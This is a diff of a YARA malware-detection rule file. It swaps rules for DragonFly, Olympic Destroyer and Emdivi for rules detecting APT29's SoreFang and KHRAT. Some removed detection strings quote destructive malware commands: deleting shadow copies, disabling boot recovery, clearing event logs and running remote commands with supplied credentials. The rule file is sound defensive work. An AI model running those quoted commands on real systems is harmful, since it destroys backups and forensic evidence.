-		description = "Detects malware from DrqgonFly APT report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dbc0eebf-fc81-5a0b-b2e0-129d0b40b6f7"
-		date = "2017-09-12"
+		description = "Rule to detect SoreFang based on hardcoded encryption key"
+		author = "NCSC"
+		id = "9a7abad7-1cfa-52c8-9416-47cb80486714"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dragonfly.yar#L91-L109"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "61af81f0cd1eccba3a1000e6715c9715e8e67849e5edd4279728a7e47bd8cb75"
+		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L155-L167"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+		logic_hash = "39ad6de70883fbe0377379c3cab15962372793043ebbf4054efb7cee3aff9104"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
 
 	strings:
-		$s1 = "screen.exe" fullword wide
-		$s2 = "PlatformInvokeUSER32" fullword ascii
-		$s3 = "GetDesktopImageF" fullword ascii
-		$s4 = "PlatformInvokeGDI32" fullword ascii
-		$s5 = "GetDesktopImage" fullword ascii
-		$s6 = "Too many arguments, going to store in current dir" fullword wide
+		$ = "2b6233eb3e872ff78988f4a8f3f6a3ba"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <60KB and all of them )
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Destructive_Ransomware_Gen1 : FILE
+rule SIGNATURE_BASE_APT_APT29_Sorefang_Directory_Enumeration_Output_Strings : FILE
 {
 	meta:
-		description = "Detects destructive malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3a7ce55e-fb28-577b-91bb-fe02d7b3d73c"
-		date = "2018-02-12"
+		description = "Rule to detect SoreFang based on formatted string output for directory enumeration"
+		author = "NCSC"
+		id = "e24dbda1-3d43-52a7-9249-70a648f4913e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_olympic_destroyer.yar#L13-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1f7a41c5a7e812e0e26b346cc6465290b17aff31620cbcf6e01c569d8eea2dbd"
+		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L169-L183"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+		logic_hash = "8f029269f5a383737f38af04b05a16a71af5453bffe83e04ac53191eaa49d3e7"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ae9a4e244a9b3c77d489dee8aeaf35a7c3ba31b210e76d81ef2e91790f052c85"
 
 	strings:
-		$x1 = "/set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no" fullword wide
-		$x2 = "delete shadows /all /quiet" fullword wide
-		$x3 = "delete catalog -quiet" fullword wide
+		$ = "----------All usres directory----------"
+		$ = "----------Desktop directory----------"
+		$ = "----------Documents directory----------"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 1 of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Olympicdestroyer_Gen2 : FILE
+rule SIGNATURE_BASE_APT_APT29_Sorefang_Command_Elem_Cookie_Ga_Boundary_String : FILE
 {
 	meta:
-		description = "Detects Olympic Destroyer malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8d0cbb7b-6650-53ed-8d58-176f8b4af880"
-		date = "2018-02-12"
+		description = "Rule to detect SoreFang based on scheduled task element and Cookie header/boundary strings"
+		author = "NCSC"
+		id = "3c6ffbad-9b39-5518-aa66-d76531ddb9ea"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_olympic_destroyer.yar#L30-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1bcf0e95d9de62271a09f6ac64ce65debc91e541e1fccfe5c31661466c00bd5e"
+		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L185-L199"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+		logic_hash = "65b31a12d8abb88fbb99fcc6b2707bec90e4edc35d0cf21903213eda5cacec88"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d934cb8d0eadb93f8a57a9b8853c5db218d5db78c16a35f374e413884d915016"
-		hash2 = "3e27b6b287f0b9f7e85bfe18901d961110ae969d58b44af15b1d75be749022c2"
-		hash3 = "edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9"
-		hash4 = "28858cc6e05225f7d156d1c6a21ed11188777fa0a752cb7b56038d79a88627cc"
 
 	strings:
-		$x1 = "cmd.exe /c (ping 0.0.0.0 > nul) && if exist %programdata%\\evtchk.txt" fullword wide
-		$x2 = "cmd.exe /c (echo strPath = Wscript.ScriptFullName & echo.Set FSO = CreateObject^(\"Scripting.FileSystemObject\"^)" wide
-		$x3 = "del %programdata%\\evtchk.txt" fullword wide
-		$x4 = "Pyeongchang2018.com\\svc_all_swd_installc" fullword ascii
-		$s1 = "<STARTCRED>" fullword wide
-		$s2 = "SELECT ds_cn FROM ds_computer" fullword wide
-		$s3 = "\\system32\\notepad.exe" wide
-		$s4 = "%s \\\\%s -u \"%s\" -p \"%s\" -accepteula -d %s %s \"%s\"" fullword ascii
+		$ = "<Command>" wide
+		$ = "Cookie:_ga="
+		$ = "------974767299852498929531610575"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and (pe.imphash()=="fd7200dcd5c0d9d4d277a26d951210aa" or pe.imphash()=="975087e9286238a80895b195efb3968d" or pe.imphash()=="da1c2d7acfe54df797bfb1f470257bc3" or 1 of ($x*) or 3 of them )
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and 2 of them
 }
-rule SIGNATURE_BASE_Apt_Backspace : FILE
+rule SIGNATURE_BASE_APT_APT29_Sorefang_Encryption_Round_Function : FILE
 {
 	meta:
-		description = "Detects APT backspace"
-		author = "Bit Byte Bitten"
-		id = "3da3337d-b6d3-5661-b43e-535e06817303"
-		date = "2015-05-14"
+		description = "Rule to detect SoreFang based on the encryption round function"
+		author = "NCSC"
+		id = "0be1c084-c8df-5920-a320-90364a7fb542"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_backspace.yar#L6-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6cbfeb7526de65eb2e3c848acac05da1e885636d17c1c45c62ad37e44cd84f99"
-		logic_hash = "6fa86ada5c965bd9c199c2a1cf9b691499a3d423da7db50c8987b6725c0c0f29"
+		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L201-L214"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+		logic_hash = "c4979b7ec31581b43b6975be5d4b1bfa5562e5fe25bbb51bb7c388550ed80ac6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$s1 = "!! Use Splice Socket !!"
-		$s2 = "User-Agent: SJZJ (compatible; MSIE 6.0; Win32)"
-		$s3 = "g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d"
+		$ = { 8A E9 8A FB 8A 5D 0F 02 C9 88 45 0F FE C1 0F BE C5 88 6D F3 8D
+            14 45 01 00 00 00 0F AF D0 0F BE C5 0F BE C9 0F AF C8 C1 FA 1B C0 E1 05 0A D1 8B 4D EC 0F BE C1 89 55 E4 8D 14 45 01 00 00 00 0F AF D0 8B C1}
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
 }
-rule SIGNATURE_BASE_Emdivi_SFX : FILE
+rule SIGNATURE_BASE_APT_APT29_Sorefang_Add_Random_Commas_Spaces : FILE
 {
 	meta:
-		description = "Detects Emdivi malware in SFX Archive"
-		author = "Florian Roth (Nextron Systems) @Cyber0ps"
-		id = "51367190-2e8d-507c-a19f-996bc6960977"
-		date = "2015-08-20"
+		description = "Rule to detect SoreFang based on function that adds commas and spaces"
+		author = "NCSC"
+		id = "9a89c619-6309-500f-b4dc-c8a3e8fc4417"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bluetermite_emdivi.yar#L9-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3257983c64c52f36b04e3fe7b12180a37531338349137d4df00fc6f704557b2e"
-		score = 70
+		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L216-L229"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+		logic_hash = "046e222aabc9e596d9536702521b4729d990e1f327ded004ca984b73a8511a83"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "7a3c81b2b3c14b9cd913692347019887b607c54152b348d6d3ccd3ecfd406196"
-		hash2 = "8c3df4e4549db3ce57fc1f7b1b2dfeedb7ba079f654861ca0b608cbfa1df0f6b"
 
 	strings:
-		$x1 = "Setup=unsecess.exe" fullword ascii
-		$x2 = "Setup=leassnp.exe" fullword ascii
-		$s1 = "&Enter password for the encrypted file:" fullword wide
-		$s2 = ";The comment below contains SFX script commands" fullword ascii
-		$s3 = "Path=%temp%" fullword ascii
+		$ = { E8 ?? ?? ?? ?? B9 06 00 00 00 99 F7 F9 8B CE 83 FA 04 7E 09 6A
+            02 68 ?? ?? ?? ?? EB 07 6A 01 68 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <740KB and (1 of ($x*) and all of ($s*))
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
 }
-rule SIGNATURE_BASE_Emdivi_Gen1 : FILE
+rule SIGNATURE_BASE_APT_APT29_Sorefang_Modify_Alphabet_Custom_Encode : FILE
 {
 	meta:
-		description = "Detects Emdivi Malware"
-		author = "Florian Roth (Nextron Systems) @Cyber0ps"
-		id = "807cf3f9-4f58-5d22-88b2-9adb7866979f"
-		date = "2015-08-20"
+		description = "Rule to detect SoreFang based on arguments passed into custom encoding algorithm function"
+		author = "NCSC"
+		id = "7c5c1be0-ccad-5c8f-a026-445994b1f279"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bluetermite_emdivi.yar#L32-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e1895926f6327bf301b8618f9162cacb30ad96f181f197559d399675e2cd93c6"
-		score = 80
+		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L231-L243"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+		logic_hash = "f0f5bcad52b0b15dc74a51973ef2752234bd12d677c846b2f96fe569d906ea3b"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		super_rule = 1
-		hash1 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
-		hash2 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
-		hash3 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
-		hash4 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
 
 	strings:
-		$x1 = "wmic nteventlog where filename=\"SecEvent\" call cleareventlog" fullword wide
-		$x2 = "del %Temp%\\*.exe %Temp%\\*.dll %Temp%\\*.bat %Temp%\\*.ps1 %Temp%\\*.cmd /f /q" fullword wide
-		$x3 = "userControl-v80.exe" fullword ascii
-		$s1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword wide
-		$s2 = "http://www.msftncsi.com" fullword wide
-		$s3 = "net use | find /i \"c$\"" fullword wide
-		$s4 = " /del /y & " fullword wide
-		$s5 = "\\auto.cfg" wide
-		$s6 = "/ncsi.txt" fullword wide
-		$s7 = "Dcmd /c" fullword wide
-		$s8 = "/PROXY" fullword wide
+		$ = { 33 C0 8B CE 6A 36 6A 71 66 89 46 60 88 46 62 89 46 68 66 89 46
+            64 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
 }
-rule SIGNATURE_BASE_Emdivi_Gen2 : FILE
+rule SIGNATURE_BASE_APT_APT29_Sorefang_Custom_Encode_Decode : FILE
 {
 	meta:
-		description = "Detects Emdivi Malware"
-		author = "Florian Roth (Nextron Systems) @Cyber0ps"
-		id = "9a77c85c-84b0-5e0f-93bc-e17e2aaec095"
-		date = "2015-08-20"
-		modified = "2023-01-27"
-		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bluetermite_emdivi.yar#L62-L85"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c40306d646c5bf8c3aff1bc697b81997b4d635ccf237775e2bea96b89f7fa001"
-		score = 80
+		description = "Rule to detect SoreFang based on the custom encoding/decoding algorithm function"
+		author = "NCSC"
+		id = "4885a659-bb3a-5e33-99cc-b827931bf58f"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L245-L274"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+		logic_hash = "536147bda9603d68748010f9db260af732fe0865a601ae1104538933b19c519b"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		super_rule = 1
-		hash1 = "9a351885bf5f6fec466f30021088504d96e9db10309622ed198184294717add1"
-		hash2 = "a5be7cb1f37030c9f9211c71e0fbe01dae19ff0e6560c5aab393621f18a7d012"
-		hash3 = "9183abb9b639699cd2ad28d375febe1f34c14679b7638d1a79edb49d920524a4"
 
 	strings:
-		$s1 = "%TEMP%\\IELogs\\" ascii
-		$s2 = "MSPUB.EXE" fullword ascii
-		$s3 = "%temp%\\" ascii
-		$s4 = "\\NOTEPAD.EXE" ascii
-		$s5 = "%4d-%02d-%02d %02d:%02d:%02d " fullword ascii
-		$s6 = "INTERNET_OPEN_TYPE_PRECONFIG" fullword ascii
-		$s7 = "%4d%02d%02d%02d%02d%02d" fullword ascii
+		$ = { 55 8B EC 8B D1 53 56 8B 75 08 8B DE 80 42 62 FA 8A 4A 62 66 D3
+            EB 57 3A 5A 5C 74 0F}
+		$ = { 3A 5A 5D 74 0A 3A 5A 58 74 05 3A 5A 59 75 05 FE C1 88 4A 62 8A
+            4A 62 B8 01 00 00 00}
+		$ = { 8A 46 62 84 C0 74 3E 3C 06 73 12 0F B6 C0 B9 06 00 00 00 2B C8
+            C6 46 62 06 66 D3 66 60 0F B7 4E 60}
+		$ = { 80 3C 38 0D 0F 84 93 01 00 00 C6 42 62 06 8B 56 14 83 FA 10 72
+            04 8B 06}
+		$ = { 0F BE 0C 38 8B 45 EC 0F B6 40 5B 3B C8 75 07 8B 55 EC B3 3E}
+		$ = { 0F BE 0C 38 8B 45 EC 0F B6 40 5E 3B C8 75 0B 8B 55 EC D0 EB C6
+            42 62 05}
+		$ = { 8B 55 EC 0F BE 04 38 0F B6 DB 0F B6 4A 5F 3B C1 B8 3F 00 00 00
+            0F 44 D8}
+		$ = { 8A 4A 62 66 8B 52 60 66 D3 E2 0F B6 C3 66 0B D0 8B 45 EC 66 89
+            50 60 8A 45 F3 02 C1 88 45 F3 3C 08 72 2E 04 F8 8A C8 88 45 F3
+            66 D3 EA 8B 4D 08 0F B6 C2 50 }
+		$ = { 3A 5A 5C 74 0F 3A 5A 5D 74 0A 3A 5A 58 74 05 3A 5A 59 75 05 FE
+            C1 88 4A 62 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1300KB and 6 of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
 }
-rule SIGNATURE_BASE_MAL_Emdivi_Gen3 : FILE
+rule SIGNATURE_BASE_APT_APT29_Sorefang_Remove_Chars_Comma_Space_Dot : FILE
 {
 	meta:
-		description = "Detects Emdivi Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c3d712ae-3f8e-578c-81cd-fd3e48213875"
-		date = "2015-08-20"
-		modified = "2023-01-06"
-		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bluetermite_emdivi.yar#L87-L114"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ff89a0855481d723f23e0c00f6b6eaf912e6df3a7e9ebe4ff1e6ccf2b02f0888"
-		score = 80
+		description = "Rule to detect SoreFang based on function that removes commas, spaces and dots"
+		author = "NCSC"
+		id = "c15779b0-6a5e-5345-94ad-95615b567f1f"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L276-L289"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+		logic_hash = "652607e0cfe6f5ad6ede169e28f63e8262fc37cbc7baa2525e52e79572d9a468"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		super_rule = 1
-		hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
-		hash2 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
 
 	strings:
-		$x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword ascii
-		$s2 = "\\Mozilla\\Firefox\\Profiles\\" ascii
-		$s4 = "\\auto.cfg" ascii
-		$s5 = "/ncsi.txt" fullword ascii
-		$s6 = "/en-us/default.aspx" fullword ascii
-		$s7 = "cmd /c" fullword ascii
-		$s9 = "APPDATA" fullword ascii
+		$ = {8A 18 80 FB 2C 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}
+		$ = {8A 18 80 FB 2E 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}
+		$ = {8A 18 80 FB 20 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <850KB and (($x1 and 1 of ($s*)) or (4 of ($s*)))
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and all of them
 }
-rule SIGNATURE_BASE_Emdivi_Gen4 : FILE
+rule SIGNATURE_BASE_APT_APT29_Sorefang_Disk_Enumeration_Strings : FILE
 {
 	meta:
-		description = "Detects Emdivi Malware"
-		author = "Florian Roth (Nextron Systems) @Cyber0ps"
-		id = "02629873-a797-51ff-83fc-af499cafa1e8"
-		date = "2015-08-20"
+		description = "Rule to detect SoreFang based on disk enumeration strings"
+		author = "NCSC"
+		id = "0ff01793-6fb7-5cff-b4e4-6709269ab0f0"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bluetermite_emdivi.yar#L116-L143"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9c1645023ceefdb849cf4b0e60de8c608bfd5e15d3aac6d16d68a36140a8ebed"
-		score = 80
-		quality = 79
+		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L291-L310"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
+		logic_hash = "4a225b767dc922625c333aea866638bc5e239137592e46c17563b9cc380b0eea"
+		score = 75
+		quality = 85
 		tags = "FILE"
-		super_rule = 1
-		hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
-		hash2 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
-		hash3 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
-		hash4 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
-		hash5 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
-		hash6 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
 
 	strings:
-		$s1 = ".http_port\", " fullword wide
-		$s2 = "UserAgent: " fullword ascii
-		$s3 = "AUTH FAILED" fullword ascii
-		$s4 = "INVALID FILE PATH" fullword ascii
-		$s5 = ".autoconfig_url\", \"" fullword wide
-		$s6 = "FAILED TO WRITE FILE" fullword ascii
-		$s7 = ".proxy" fullword wide
-		$s8 = "AuthType: " fullword ascii
-		$s9 = ".no_proxies_on\", \"" fullword wide
+		$ = "\x0D\x0AFree on disk: "
+		$ = "Total disk: "
+		$ = "Error in GetDiskFreeSpaceEx\x0D\x0A"
+		$ = "\x0D\x0AVolume label: "
+		$ = "Serial number: "
+		$ = "File system: "
+		$ = "Error in GetVolumeInformation\x0D\x0A"
+		$ = "I can not het information about this disk\x0D\x0A"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <853KB and all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and all of them
 }
-rule SIGNATURE_BASE_EXPL_Exploit_TLB_Scripts : FILE
+import "pe"
+
+rule SIGNATURE_BASE_KHRAT_Malware : FILE
 {
 	meta:
-		description = "Detects malicious TLB files which may be delivered via Visual Studio projects"
-		author = "Rich Warren (slightly modified by Florian Roth)"
-		id = "5151458e-4c30-50ff-a39e-e5b5b68b87aa"
-		date = "2021-01-26"
+		description = "Detects an Imphash of KHRAT malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3e6a5aca-9898-5864-8974-ca4adf272893"
+		date = "2017-08-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/outflanknl/Presentations/blob/master/Nullcon2020_COM-promise_-_Attacking_Windows_development_environments.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_tlb_scripts.yar#L2-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "39bf626d60a867d054762043f74e86998d6848439655f84be72003c112db9953"
+		reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_khrat.yar#L13-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cfc1a9fb4dbec4deb70616ab7c4cce3cf56429f61fd36f78245621527d011e20"
 		score = 75
 		quality = 85
 		tags = "FILE"
-
-	strings:
-		$a = ".sct" ascii nocase
-		$b = "script:" ascii nocase
-		$c = "scriptlet:" ascii nocase
-		$d = "soap:" ascii nocase
-		$e = "winmgmts:" ascii nocase
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "53e27fd13f26462a58fa5587ecd244cab4da23aa80cf0ed6eb5ee9f9de2688c1"
 
 	condition:
-		uint32be(0)==0x4D534654 and filesize <100KB and any of them
+		uint16(0)==0x5a4d and filesize <100KB and pe.imphash()=="6a8478ad861f98f8428a042f74de1944"
 }
-rule SIGNATURE_BASE_Lightftp_Fftp_X86_64 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_KHRAT_Script
 {
 	meta:
-		description = "Detects a light FTP server"
+		description = "Rule derived from KHRAT script but can match on other malicious scripts as well"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9b62e990-1d8b-5d30-bb58-1f7f12552834"
-		date = "2015-05-14"
+		id = "fd345647-4887-560e-a6b2-129a880026aa"
+		date = "2017-08-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/hfiref0x/LightFTP"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/pup_lightftp.yar#L2-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f29a98a4014fc6c026aef4054bc2bee7bde2e9ad7f26f2368fdf0949f50847bb"
-		score = 50
